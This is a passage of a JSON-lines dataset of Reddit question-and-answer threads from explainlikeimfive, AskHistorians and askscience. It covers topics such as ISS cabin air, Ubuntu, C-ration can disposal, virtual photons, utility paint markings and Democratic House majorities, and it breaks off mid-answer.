shift of the diaphragm cannot be determined from the present data. Regardless of the cause(s) of decreased inflight vital capacities, a review of postflight data shows that these changes revert to normal within 2 hours following recovery without significant impact on crew health status.\n\nI'm sure there are more recent studies, but I figure it would be relevant to mention if you hadn't seen it already.", "OK, I did some back of the envelope calculations here.\n\nThe pressurized volume of the ISS is [about 916 m^3](_URL_0_). That much air at sea level pressure weighs 1099.2 kg. The mass of the ISS is about 450,000 kg, so the mass of the air in the station is about 0.25% of the full mass of the station. Chances are good that the benefits of increased astronaut comfort outweigh the weight savings.\n\nSpeaking of savings, the dollar savings is even more illustrative: hauling 1100 kg into space at launch costs of around $18,000/kg isn't really cheap, in land-based dollars: the difference in weight of the air on the 18kPa station and the 101.3 kPa station is around $16 million. That seems like a lot, but for the total cost of the ISS at around $150 _billion_, the air cost turns out to be around 0.01% of the total cost of the station.\n\nThe total inhabited time of the ISS is now at 5230 days. 0.01% (and change) of 5230 is 0.55 days, that is, if you can save a loss of productivity of half a day by running at full atmosphere, it's worth the dollar cost to do so. Also note that this is \"man-days\", that is, divided across the entire crew compliment (max 6). Granted, there would have been more than just the one initial shipment of gas to the station (resupplies and whatnot), we can fudge upwards and say that perhaps 1 day's worth of habitation makes up for the cost of air. I think it's likely that the sea level atmosphere's effect on astronaut productivity is more than that 0.01% cost increase, or at least it's not crazy to assume that it has been, since that's a hard thing to quantify.\n\nAs far as the \"and other space vehicles\", the Shuttle and pretty much every Russian capsule and station has been run at sea level, so I assume that similar math would yield a similar miniscule cost savings of a reduced atmosphere. I suspect that this equation _may_ change when you talk about getting out of LEO: since the delta-V needed for any higher trajectory is further influenced by the total mass of the ship, weight savings become incrementally more important as you need bigger burns. In addition, the extra equipment to manage the mixing of the gasses and so forth (added weight and complexity), as well as sturdier pressure vessels, and the fact that reduced pressure is required for space suits (to aid mobility), are some of the main reasons that Apollo used reduced pressure. It would be instructive, knowing what we know now, to see if future Moon expeditions would opt for reduced pressure.", "Besides from all the survival and fire aspects, I would imagine a fairly significant amount of the experiments that they conduct on board are testing for the effects of micro gravity. \nIt's handy to not introduce another variable of different pressure or different air composition compared to earth based experiments", "This may be a useful reference to add to the discussion: _URL_0_\n\nIn short, flammability of materials increases with high PO2/total pressure ratios. The fire risk of oxygen enriched environments is a pretty strong reason to avoid doing what you suggest. From a physiology standpoint high % oxygen, especially 100% oxygen when breathed for prolonged periods of time can cause some alveolar collapse via absorption atelectasis and impair gas exchange. Insoluble gasses like nitrogen help keep your alveoli open as oxygen diffuses across the alveolar membrane. Although how significant this is in those deemed fit for space flight I'm not certain. "]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Apollo_1", "http://en.wikipedia.org/wiki/Decompression_sickness", "http://en.wikipedia.org/wiki/Oxygen_toxicity"], "answers_urls": [["http://en.wikipedia.org/wiki/Apollo_1"], [], [], ["http://lsda.jsc.nasa.gov/scripts/experiment/exper.aspx?exp_index=944"], ["http://en.wikipedia.org/wiki/International_Space_Station"], [], ["http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/20070005041.pdf"]]}
{"q_id": "1mwjd6", "title": "ubuntu", "selftext": "What is it? How does it work? Why do my friends keep telling me it's better than my current OS?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1mwjd6/eli5ubuntu/", "answers": {"a_id": ["ccd9ni1", "ccdbkhr", "ccdbqxo", "ccdbrh4", "ccdmgbf"], "score": [55, 2, 15, 9, 3], "text": ["Ubuntu is a distribution (a different version) of Linux, a free desktop operating system. Ubuntu is very popular, and works very well, but it does require some serious getting used to,and some workarounds for certain products you might already own.\n\nI enjoyed my time spent with Ubuntu, but found it problematic in certain areas. On the plus side, it's FREE, and it's very hard to argue with that. It has accessibility to Steam (Valve's proprietary game distribution platform), but the games on Steam aren't the games I had already purchased for Windows. they were written with the Windows kernel in mind, and were not compatible. \n\nI had to give up Microsoft Outlook, Access, and One Note, which I used copiously, but through emulation software called WINE, still had access to Word, Excel and Powerpoint. There were free versions that were supposed to be acceptable alternativs, but I found that switching between platforms for school presentations was untenable for me.\n\nMy printer drivers weren't compatible, and there were no Ubuntu drivers that were fully compatible. After every document, I had to power-cycle the printer and get it to reboot.\n\nAll of these things are minor. there are, of course, people who are very happy with Ubuntu. There's a lot more freedom involved, they feel like \"mavericks\", and, of course, have unfettered access to their operating system with the ability to change large aspects of the look and feel without worrying about legal retribution (as one might face when altering and redistributing Windows or MAC source code, for instance). \n\nThe biggest drawback I faced was that my text books for the University of Phoenix are password protected, and the Ubuntu version of Adobe Reader was not compatible with the DRM restrictions on the school's digital courseware. \n\nGive it a try. You can download a full version that runs from a thumb drive and makes no changes to your operating system. I had a lot of fun with the OS, but ultimately decided that I was too entrenched in the Microsoft world to make a clean transition from their OS to a Linux version.", "A bit on Linux distributions.  Ubuntu is a distribution of Linux.  Which means it runs the hidden kernel of Linux but all the visual stuff has been developed or chosen by the the distribution.  There are a few major branches of the UI that you use, most commonly Gnome and KDE.  These are different in how they handle start menus or system settings from the GUI or just how the visuals are processed.  Then a distribution comes in and changes the colors, positions of buttons to make the UI look and work they way they want them to.  \n\nThen the distribution changes what software comes with the distribution you choose.  What visual file management or CD burning or audio manager come at the start.  You can generally change ALL of this if you want.\n\nNow Ubuntu has 'unity' which makes it look and feel much different than other distributions.  It woks a bit like the bottom bar on apple comps.  There are other distributions that look very much like pre-8 windows start menu.  Its all about how you want to interact with your comp.\n\nLast you can get live CDs and live USBs which run the whole OS without even mounting your hard drive making it easy to take a look.  Often people try a dual boot at first (have both Linux and windows on the same hard drive) so its easy to give a go.  I enjoy my day to day time (internet use / messing around / practicing Python / playing the games I can play) on Linux more and when I need to do something that I cant do on Linux I pop over to Windows with just a quick computer restart.\n\nNote: on phone.  I'll take a look for edits in 30min or so.", "Your friend maybe tells you it's better than Windows because :\n\n- all the updates are done by a single click\n- you can do all the basic stuff with the software bundled with the OS\n- it's free and open-source\n- it doesn't get slow with time and never needs defrag\n- viruses for linux are near to non-existent\n- if you don't like something (the desktop, for example), you always have alternatives\n- if something doesn't work, the community will help you", "Ubuntu, as SoldieringOn said, is a flavor of Linux.\nNow, to distill it:\n\nPros:\n\n+ great driver support for hardware parts that are a bit older - if you have a, say, 4-year-old laptop lying around, most things like WiFi or webcams will run fresh out of the box  \n+ A desktop that, while it might seem strange or clumsy, can be customised to a large degree (more on that at the end)  \n+ Most components and available programs are open-source, that means you can tamper with their innards, and if you spot a bug, it will be fixed very fast by someone\n+ It's very easy to install software, either from an app store or from a command line, because there is a central server where all the software is stored, and you can easily add more servers\n+ many more flavors of Ubuntu itself, so you'll like at least one of them  \n+ Essential programs pre-installed\n+ Very friendly to tinkerers and software people, as the command line and schedule utilities are very powerful, and a few basic programming tools are pre-installed\n+ Can be installed from data storage of any sort, and with some tweaking you can have a fully-portable system on a stick  \n+ Almost no viruses  \n+ With a good user, any sort of Linux can run for years and not break down. That's why this sort of system powers 90% of the web.  \nCons:\n\n- doesn't have Windows games or programs...\n\n- but WINE can run many games very well, though some need tinnkering around, Microsoft Office runs perfectly (and is easily replaced by LibreOffice, OpenOffice, or similar programs, although some programs lack specific functions)\n\n- not all drivers are up-to-date or present, newer laptops often do not connect to WiFi\n\n- it just has a different philosophy of how things work\n\n- Ubuntu is the most popular \"distro\", and it has been going a little bit weird lately. Nothing to worry about, though\n\nFlavors of Ubuntu:\n\n- Linux Mint, which has the \"MATE\" and \"Cinnamon\" desktops instead of the \"Unity\" in default Ubuntu. It is much more traditional.\n\n- Ubuntu GNOME remix, which uses a desktop called \"Gnome Shell\". It's strange and some people say clumsy, but others find it pretty.\n\n- Kubuntu, which has the KDE desktop - it is a bit ugly by default, but it's very easy to change - you can make it into Windows 7, Unity, and by default it has an XP-style layout\n\n- Xubuntu, which has the XFCE desktop. It has nothing fancy, which is so it can run on very old computers.\n\n- Lubuntu, which is pretty much the same, but its layout is like Windows XP and is designed to eat as little power as possible\n ", "Nobody really understands this subreddit.\r\rELI5: Ubuntu.\r\rIt's a free operating system. It's easy to use and very secure. I like the customizing. Some programs don't work on it, though. I installed it for my Grandmother, and she loves it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "aiix0e", "title": "what are pieces of eight?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aiix0e/eli5_what_are_pieces_of_eight/", "answers": {"a_id": ["eeo3smz", "eeo4eo1", "eeo515y"], "score": [10, 5, 3], "text": ["Pieces of eight were old Spanish silver coins, worth 8 reales.  It was widely used in Spanish colonial territories and was effectively the first world currency.  it was even legal tender in the USA until the mid 1800s.", "They were also often fractioned into halves (four reales), quarters (two reales) or eighths . ", "here are some pictures.  so you ca see what pieces of eight looked like.\n\n_URL_1_\n\n_URL_0_\n\neach one of the smallest pieces was worth one spanish reale."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.history.org/history/teaching/enewsletter/volume3/march05/iotm.cfm", "https://historicjamestowne.org/wp-content/uploads/Pieces-of-Eight.jpg"]]}
{"q_id": "1jcuug", "title": "how does the kite patch work to prevent mosquito bites?", "selftext": "I've tried to read and understand exactly how this thing (allegedly) works, but can't seem to find anything that isn't just hyping this thing. Is it better than DEET based repellents? The media-hype machine says so.\n\nCan anyone explain the mechanism behind this?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1jcuug/eli5_how_does_the_kite_patch_work_to_prevent/", "answers": {"a_id": ["cbde71g"], "score": [2], "text": ["This link is objective and does a pretty good job explaining the make up of the kite patch and why it is supposed to work.\n\n_URL_0_\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.gizmag.com/kite-mosquito-patch/28459/"]]}
{"q_id": "5p8kn1", "title": "how does matte painting work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5p8kn1/eli5how_does_matte_painting_work/", "answers": {"a_id": ["dcpiitx"], "score": [3], "text": ["For everyone who doesn't know what matte painting is: it's the creation of (static) backgrounds in movies that would be too expensive to create or impossible to film. So when you watch a movie and see these great looking mountains? They're a matte painting. This beautiful, endless beach? That's only like 4 meters of sand and a palm tree, the rest is a matte painting. The grand city skyline you see while the characters and chilling on top of a skyscraper? Matte painting.\n\nThe main goal of a matte painting is to enhance the scene you're shooting with a background you don't have easy access to and to look as realistic as possible.\n\nBack in the day the usage of actual matte paintings was relatively rare and mostly drawn on glass, nowadays they're everywhere. There is almost no movie without a matte painting in some form.\n\nTo create a matte you can use a lot of tools. Do it the old fashioned way and draw them by hand, put them together piece by piece by using reference images and a lot of photoshop wizardry, use a 3D graphics programs like 3DS Max, Cinema 4D or Maya to build the whole scene there and then render it out or use a combination out of all the possibilities."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8zqbt4", "title": "Andrew Jackson, known for his disdain for Native Americans and initiating the Trail of Tears, secretly adopted and raised an Indian son, Lyncoya. Jackson had him privately educated and hoped to send him to West Point. How widespread was knowledge of Jackson's Indian son, and was it controversial?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8zqbt4/andrew_jackson_known_for_his_disdain_for_native/", "answers": {"a_id": ["e2l1z5t"], "score": [97], "text": ["As a side question, did Andrew Jackson have disdain for Native Americans?  The popular view of Jackson today does not match with what I've read in the primary sources and to my knowledge his actions were not fueled by a hatred of Indians, but this isn't the area I got my degree in so I would appreciate some input from a historian of the antebellum era."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "44q1g6", "title": "why do humans smell with with a long slow sniff, while most animals rapidly sniff several times.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/44q1g6/eli5why_do_humans_smell_with_with_a_long_slow/", "answers": {"a_id": ["czs2dtk", "czs9qqf", "czsbupk"], "score": [11, 530, 5], "text": ["I don't think all humans do, it's perhaps a learned behavior. I have a keen sense of smell and do what I'd describe as many micro sniffs, similar to a dog, when I catch the scent of something I can't put my finger on. ", "Dogs have an organ that humans do not- the vomeronasal organ (reptiles have this, too). It is a sac above the nose or in the mouth that is covered with lots of receptor sites for molecules. They smell the world how we see the world. Humans have around 6 million sensory receptor sites, some dogs have about 300 million. When they inhale and exhale quickly, they are drawing a new scent in and then exhaling it for a new scent.  They create wind currents by exhaling that hurries the inhalations in. This is why humans will not notice a certain smell once acclimated to it, while dogs are constantly refreshing the smells that they smell!  Aaand when dogs eat other dogs' poop? They are bringing it closer to the vomeronasal organ for further inspection. Yum.\n\nEDIT: I am just an idiot who read a dog book this one time, this is explained better in some of these comments :)", "this is a weird one. But it's a learned thing. there has been some research in scent tracking with humans(we can track scents, if they're strong enough). in the process of learning this people switched to fast sniffs. long and slow is good for breathing, short and fast is for getting as much of the scent through your nose as you can. \n\ntl;dr people are idiots and can also smell rapidly, which is better for smelling and locating a scent"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "73kwrf", "title": "It's 1968, I'm a US soldier patrolling through Vietnam jungle and I just ate my C-ration. What do I do with empty can(s)?", "selftext": "It was ham and lima beans, by the way, not that bad.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/73kwrf/its_1968_im_a_us_soldier_patrolling_through/", "answers": {"a_id": ["dnrocov"], "score": [182], "text": ["The disposal of C-ration cans was not something that was universal by any means. Those familiar with modern day military operations in the field would presume that most soldiers have either carried the trash with them or got rid of it through some other means in which they wouldn't leave a trail after themselves. It's never wise to project modern day thinking (which works in a specific present context) into the past (with its own specific historical context), even if it's something so recent as the Vietnam War.\n\nLet's start with the most common way of getting rid of C-rations cans: You buried them. The notion of burying food containers, empty or not, is a theme very apparent throughout the Vietnam War on both sides. It was an efficient way to get rid of trash for Americans, a way to avoid food falling into the wrong hands for civilians, and to supply troops on the move for insurgents. For a US soldier in the field, having to carry around empty cans was not an attractive prospect due to the simple fact that it would be noisy. Imagine a platoon where each individual carried several empty cans. It wouldn't be a subtle noise heard throughout the jungle. Instead, it was easier to, as Marine Recon Steven A. Johnson writes, \"to bend them as flat as possible and bury them.\" Here's a description by another Marine, Federick Fenwick, of how they would get rid of trash:\n\n >  On the third day in this position the word was passed down through the chain of command that we would be moving. A working detail from the various platoons dug a big hole for the entire company to bury their trash. I was part of the working detail. Each platoon gathered up all the company's trash that included empty C-Ration boxes, cartons, and open and unopened C-Ration cans. Marines that just did not like the contents like beef and potatoes, for example, threw the unopened cans away. If they threw away unopened cans they were supposed to punch holes in them with their Ka-Bars or bayonets. This would ensure that the food would spoil before the VC could get to it. There were always some cans found that had not been punctured because the Marine discarding the can was either too lazy or just did not care. A fire was set up to burn the trash. After the blazes subsided the working detail covered the hole by throwing in dirt to fill it up. Then they returned to their assigned platoons and we prepared to move out.\n\nThe above description gives us an idea of a much larger disposal of trash than would have been common for a platoon, in this case a company. It also makes an interesting observation that brings us to my next point: There were soldiers who were too lazy or just didn't care where their trash ended up. Of course, we can not simply attribute this to soldiers being lazy either. In an orderly fashion, trash was meant to be disposed of by crushing and then burying it in a pit which would then be burned. This was the best case scenario and the scenario that most most sense. Yet we can not forget for a second that this an act that involves human beings. That meant that soldiers forgot to bury them times, were too tired to even care, or simply found themselves in a hurry. \n\nNo matter if you did it the right way or the wrong way, the chances were that the cans would be reused. From civilians using the remnants of cans and other garbage to reinforce their homes to insurgents using empty cans to create make-shift mines or other booby traps, the trash that the US soldiers left behind them came to have a life beyond simply containing food."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4g6na7", "title": "how is bailey's irish cream shelf stable?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4g6na7/eli5_how_is_baileys_irish_cream_shelf_stable/", "answers": {"a_id": ["d2f0kv7", "d2f6v0o", "d2f7td0", "d2fnsnf"], "score": [201, 68, 27, 2], "text": ["It has alcohol in it.  Evidently, enough alcohol to prevent spoilage.\n\nThe company says it should be good for 2 years so, unlike straight spirits, it's not good indefinitely.", "Funnily enough I watched an interview with a Baileys production manager about 2 months ago. \n\nThere are 3 stages. First the ingredients are vigorously stirred until the cream is mixed in in small particles (emulsified). Second a preservative is added (potassium sorbate I think). Third it is sprayed though a tiny hole to break down the cream into even smaller particles (homogenised) so that the alcohol can have maximum preserving effect and the cream won't seperate out again. ", "Watched a documentary on this over the new years break.  \n\nBaileys has a much longer shelf life than its cheaper imitations due to the refinement process of the cream. Essentially there are big machines that mix the alcohol with the dairy.  The goal is to separate the dairy molecules from each other and surround them in alcohol, which prevents spoilage. Cheaper variations of Irish cream don't go to such levels of refinement, meaning there are more dairy molecules bunched together, which leads to quicker spoilage. ", "It's not stable over time. I had an uncle who would give my mom a bottle of Bailey's every Christmas. She didn't like it, but never told my uncle to get something else. So, one time, I discovered 8 bottles of Bailey's in the closet and decided to open one to drink. I poured out some nasty curdled stuff that resembled the stuff Sam Francisco drank on Alien Nation."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "3gjecr", "title": "how does adding adding mayonnaise to certain foods make them a salad (potatoes, chicken, eggs, etc).", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3gjecr/eli5_how_does_adding_adding_mayonnaise_to_certain/", "answers": {"a_id": ["ctyodz7", "ctywkoe"], "score": [16, 2], "text": ["According to Wikipedia a salad is a dish consisting of small pieces of food, which may be mixed with a sauce or salad dressing. It seems that a salad being things such as the traditional leafy greens and dressing is something of a convention.", "It may be somewhat related to the fact that mayonnaise was originally often used as a salad dressing. Potatoes are certainly vegetables, and eggs were widely available. Both were consumed as staples, your basic average every-day meals. Mayo itself is oil, eggs, and some cheap acid like vinegar."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "6boiui", "title": "How do virtual photons have a real influence?", "selftext": "My question is, if virtual photons are a mathematical book keeping tool, how do they play a real role in terms of Hawking radiation and vacuum energy?\n\nThanks!", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6boiui/how_do_virtual_photons_have_a_real_influence/", "answers": {"a_id": ["dho8yck", "dhoczad", "dhovtn2"], "score": [31, 9, 10], "text": ["They don't. Anything you can describe in terms of virtual particles can be equivalently described without referencing virtual particles.\n\nAnytime you see an explanation involving \"virtual particles\", you can replace them with \"higher-order effects of QFT\" (except tree-level diagrams, which aren't really \"higher-order\", but anyway you don't have to take virtual particles literally at tree level either).", "Virtual particles are just lines on the inside of a Feynman diagram and every Feynman diagram encodes a mathematical expression that you can use to work out things like decay rates and interaction cross sections. What's really going on is a bunch of fields interacting via some very complicated rules, but the virtual particle picture lets you develop a good approximation.", "I agree with the other top level posts, but I'll answer in a slightly different way to try to hammer in the answer. The results in quantum field theory, being definite quantitative answers to well-posed questions in physics, can be obtained simply by putting the system on a computer and extracting results numerically. This is computationally expensive and can be difficult (you have to use a finite system and extrapolate results, and renormalization is tricky), but it can be done in principle for many cases of interest. In this approach, \"virtual particles\" do not exist - they don't appear anywhere in the formalism. So they are clearly not part of the physics.\n\nNow when you're talking with a fellow researcher about specific perturbative calculations, referring to virtual particles is useful. But that doesn't make them necessary. \n\nI also like [Strassler's blog post](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://profmattstrassler.com/articles-and-posts/particle-physics-basics/virtual-particles-what-are-they/"]]}
{"q_id": "1suhgd", "title": "In light of the snowfall in Cairo, are there any records of snow falling in Ancient Egypt?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1suhgd/in_light_of_the_snowfall_in_cairo_are_there_any/", "answers": {"a_id": ["ce4buwm"], "score": [2], "text": ["After doing a bit of research, it was very hard to come across anything in writing that mentioned snow. I found a secondary source(a website) that cites a primary source, specifically a letter from Ramses II to the Hittite king Hattusili III. The translation (Courtesy of the website, I couldn't find any documented copy or picture of the treaty itself that I would be able to personally translate). \n\n\"'How will they manage, those whom I have now sent to Syria, in these days of rain and snow that happen in the winter?' So he offered a great oblation to his father Seth, ... saying, 'The sky is in your hands, the earth is under your feet, whatever happens is what you command - so may you not send rain, icy blast or snow until the marvel you have decreed for me shall reach me!'\n\n\"Then his father Seth heeded all that he said, and so the sky was calm and summer days occurred in the winter season. So it was that, with light step and happy heart, his army and officials set out joyfully.\" \n\nNow, snow in Egypt was extremely rare, as you would expect it to be. Even panning through a Middle Egyptian dictionary I could find no entry for 'snow'. Perhaps Ramses knew of snow from further up north, either way this is one instance in which snow is mentioned in Egyptian documentation. On the other hand there are no records of snow in mainland Egypt that I can recall/find."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "dwhll3", "title": "what is hierarchial reinforcement learning?", "selftext": "I understand that the difference between reinforcement learning and other types of machine learning techniques is that in other types of machine learning try to come up with a model\n\nWhile in reinforcement learning, an agent actively makes decisions to explore the environment.(tests different things, tries different things) and that helps it determine the next optimal action.(in chess, trying different moves)\n\nWhat's the difference between traditional reinforcement and hierarchial reinforcement learning?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/dwhll3/eli5_what_is_hierarchial_reinforcement_learning/", "answers": {"a_id": ["f7jap52"], "score": [2], "text": ["_URL_0_ is literally an ELI5 on this question using baking a cake, making food and government structures as examples"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://thegradient.pub/the-promise-of-hierarchical-reinforcement-learning/this"]]}
{"q_id": "3d5efw", "title": "what's the \"secret code\" behind all those letters, numbers, and symbols that are spray painted on the street, typically before/after construction?", "selftext": "In general terms, it seems the yellow paint represents gas lines and blue represents water, but I've also seen red (sewer?), white (power?), and green. There's also arrows, numbers (which I assume is depth?), and symbols which I haven't been able to decipher.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3d5efw/eli5_whats_the_secret_code_behind_all_those/", "answers": {"a_id": ["ct1ygbj", "ct23bhx", "ct294nw", "ct2fz13"], "score": [24, 3, 4, 3], "text": ["Short version? Depends on who wrote it.\n\nThey're basically internal post-it notes between surveyors and construction workers.  They usually contain three-four things to them: Color means the type of line, Then the put down a (usually abbreviated) identifier for the line meaning something like \"sewer line #2456,\" or \"Sewer at 4th street  &  main.\" That part is completely up to whatever standard the company is using.  Then they'll put down some symbol about the line, typically depth, but also sometimes flow direction, High Voltage/Low Voltage, if there's something important below you....\n\nIt's really just depends on who is writing the notes.\n\n------------------------\nThe colors aren't \"technically\" unified, but these four are almost always the same:\n\n* Blue = clean water\n* Yellow = Natural Gas line\n* Green = dirty water (sewer, storm overflow)\n* Red = Electricity.\n\nOrange (sometimes pink) is typically Telecommunications---cable, fiber optics, internet, phone, etc.\n\nWhite doesn't mean a whole lot, as it's the \"general\" color.", "If you are sequential numbers in line, its the chainage.  Imagine a city block on a drawing graduated by a standard measurement.  At the beginning of the street you may have 0+000 and as you walk down the street the numbers increase.  I'm Canadian, typical small roadway projects are labeled every 10 or 25 meters.  Highways are 25, 50 or 100 depending on the work.\n\nYou may see something like 0+000, 0+010, 0+020", "Yay, I get to be relevant today!\n\nUsually these are locates. Before you start digging, you're supposed to call a locate service. The service is completely free for anyone, and is paid for the utility companies. They pay for it because it's in their best interest that you don't accidentally run into it with your equipment.  \n\nWherever you live will have a different \"code\" but it'll be accompanied by a little drawing that the guy who spray painted it drew showing what everything means. \n\nNumbers mean either 3 things, chainage, cut/fill, or invert. Chainage is basically distance from a basepoint. This will usually have a + in the middle, like 2+365.23. Cut/Fill means that they are doing some earthwork on it, and either have to raise or lowwer the ground by the amount specified. it will be something like 0.231C which means lower by 0.231. Invert means that its the height of the pipe that is either going to be in the ground, or is already in the ground. ", "In my neighborhood these usually take the form of a spraypainted \"USA\" with an arrow drawn under it.\n\nI've always assumed that this was to tell people what country they're in."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "9xr3h1", "title": "The Democratic party held a majority of seats in the House of Representatives for all but four years from 1931 until 1995; how were they able to maintain this edge over generations? How were Republicans able to remain competitive in national races in spite of this?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9xr3h1/the_democratic_party_held_a_majority_of_seats_in/", "answers": {"a_id": ["e9wy4du"], "score": [38], "text": ["Great question. \n\nFrom 1932 to 1994, the Democrats controlled the House of Representatives except for two short periods because of, well, the Depression and the South. There are a lot of other factors like race, gerrymandering and incumbency effects, but economics was a major driver of Southern voters staying Democrat, and keeping the Democrats in power in the House.\n\nBut first, we need to talk about party systems. These are epochs in which elections are subject to a certain dynamic, and the dynamic changes in each system. Seymour Martin Lipset probably has the most accessible volume on this: Party Systems and Voter Alignments. The US is believed to have had at least five party systems, probably six, maybe more.  \n\n1.\tFirst Party System (1796 to 1828). The Jefferson-Hamilton split becomes the Democratic-Republicans against the Federalists. The Federalists eventually die off. \n2.\tSecond Party System (1832 to 1856). Democrats vs Whigs. The one-party Democratic-Republican rule explodes into Jackson\u2019s Democrats and Clay\u2019s Whigs, who then fray over slavery. \n3.\tThird Party System (1860 to 1896). The anti-slavery Republicans dominate the North while the Democrats become the party of the South and Northern city immigrants. \n4.\tFourth Party System (1896 to 1932). The northeast is Republican while the West shifts to the Democrats and both parties fight over immigrants. \n5.\tFifth Party System (1932 to ?). Roosevelt\u2019s New Deal Coalition joined big industrial states to the South, leaving only the upper plains and rural New England as Republican bastions. \n6.\tSixth Party System (? to Present?) The Republicans are dominant in the South and rural areas, while the Democratic coalition is anchored in the cities, African-Americans and Latinos. \n\nThere is a LOT of debate in the literature about when the Fifth Party System ended, and if it ended, etc. But the key thing is that the Fifth Party System was one of Democrat dominance, and that Democrat dominance extended - especially in the House elections - into the Sixth Party System, right up to 1994. \n\nThe third and fourth party systems were a function of the Civil War. Basically, White Southerners voted Democrat in the \"Solid South.\" There just weren\u2019t white Republicans in large parts of the South (and blacks were prevented from voting by force.) Obviously, the biggest reason for this was the Civil War and Reconstruction. Northern Democrats were often immigrants voting to support a patronage machine that provided jobs in exchange for votes. Republicans were the party of professionals, Protestants, and prohibition. As time went on, both parties were split between economic progressives and conservatives. Where blacks could vote, they mostly voted Republican.  \n\nThe 1932 election was what political scientists call a \u201crealigning election.\u201d That means the previous party system ends and a new one begins. 1932 is the most dramatic one in US history. From 1865 to 1932, federal politics in the US is mostly dominated by the Republicans. From 1932 to at least 1994, federal politics in the US is mostly dominated by the Democrats. This is because as a watershed in US election history, the Great Depression stands second only to the Civil War. \n\nThe Democrats win more than 70% of the seats in Congress in 1932. What happens is that the \u201cSolid South\u201d of Democratic representatives in Congress is suddenly joined by an influx of Democrats from Northern and Western communities. This is the \u201cNew Deal Coalition\u201d and it is composed of Northern and Western liberals who believe in government spending joined onto the traditional Democratic coalition of Southern whites and northern city machines. And while the Northern and Western Democrats are mostly liberal, the Southerners are often quite conservative. \n\nThe New Deal Coalition holds together through the Second World War due to Roosevelt\u2019s popularity. He is seen to have saved the economy and established key anti-poverty programs like social security that become totems for poor voters, including Southerners. And while the Southern white Congressmen may be racists, they really don\u2019t like Hitler. They back Roosevelt strongly during WWII. And that sets up an important pattern. Democrats can hold the South when talking economics or a strong defense, but they have to be careful about issues of race. \n\nTruman loses the House and Senate in 1947. Truman then runs against this \u201cDo Nothing Congress\u201d in his historic upset in 1948, and wins back Democratic majorities. He does this by emphasizing economic issues and talking about how the Republicans are obstructing that agenda. The economically distressed rally to that call, especially in the South and West. Blacks begin to become a key vote to win the big industrial states, and are increasingly moving to the Democrats across the country. \n\nWhen a popular Eisenhower wins the Presidency and the House and Senate in 1952, the new Democrat minority leaders are the cagey Southerners Lyndon Johnson and Sam Rayburn. Robert Caro\u2019s Master of the Senate describes how Eisenhower is personally hugely popular, but the Republican Party is split into a moderate faction and a hard-core Conservative faction. Rayburn and Johnson smartly unite the Democrats to actively support the Eisenhower agenda MORE than the Republican leadership. As a result, the House Democrats are basically running for Ike when he is popular, and they recapture thin majorities in both houses. A recession in the late 1950s boosts the Democrats who can say \"Republican times are hard times.\" \n\nIn 1964, Johnson gets the Civil Rights Act passed and this sets off a very long fuse on a very big bomb. African Americans were a late addition to the New Deal Coalition that allows Democrats to dominate the northern and Western cities. The Southern racists leave the Democrats for the GOP over Civil Rights. You now see Republicans regularly winning elections in the South, but the average Southern white may also keep voting Democrat at the House level over economic issues. (See Kuziemko and Washington.)  \n\nThe move from the fifth to sixth party system is ragged and slowest at the House level. The old Depression era argument that \u201cRepublican times are hard times\u201d has a lot of power in the South for House voting. Southern Democrats in Congress carefully walk a line on racial issues while emphasizing a strong defense and social security to stay in office. VO Key says the voting history of the South is about race alone, but that doesn\u2019t explain the Democratic hold on the majority of southern House districts into the 1990s. Instead, it is partially race but also very much about economics, according to Johnston and Shafer. \n\nThink about it like this: the Democrats are controlling what they do now in the House PLUS they still have half the South. A voter in Tennessee might vote for Nixon or Reagan, but also vote Democrat for the House and State House and Governor.\n\nWatergate boosts the Democrats in Congress as voters voice their anger at the Republicans. Jimmy Carter\u2019s run in 1976 has the Democrats winning the South at a Presidential level. These two events provide enough of a boost that the Democrats had the majority of southern congressional representatives right up to the 1994 election. \n\nRight through the 1980s, the Democrats also had advantages with redistricting and incumbency. The boundaries of congressional districts were often set by the state legislature, and the state house was often controlled by the Democrats even in the South. It meant a congressional district for a Democrat incumbent could be manipulated to maximize their chance at reelection. In the 1980s, the GOP made it a major strategy to win state legislatures, and thus the control over redistricting. \n\nIncumbents also had huge advantages in name recognition, 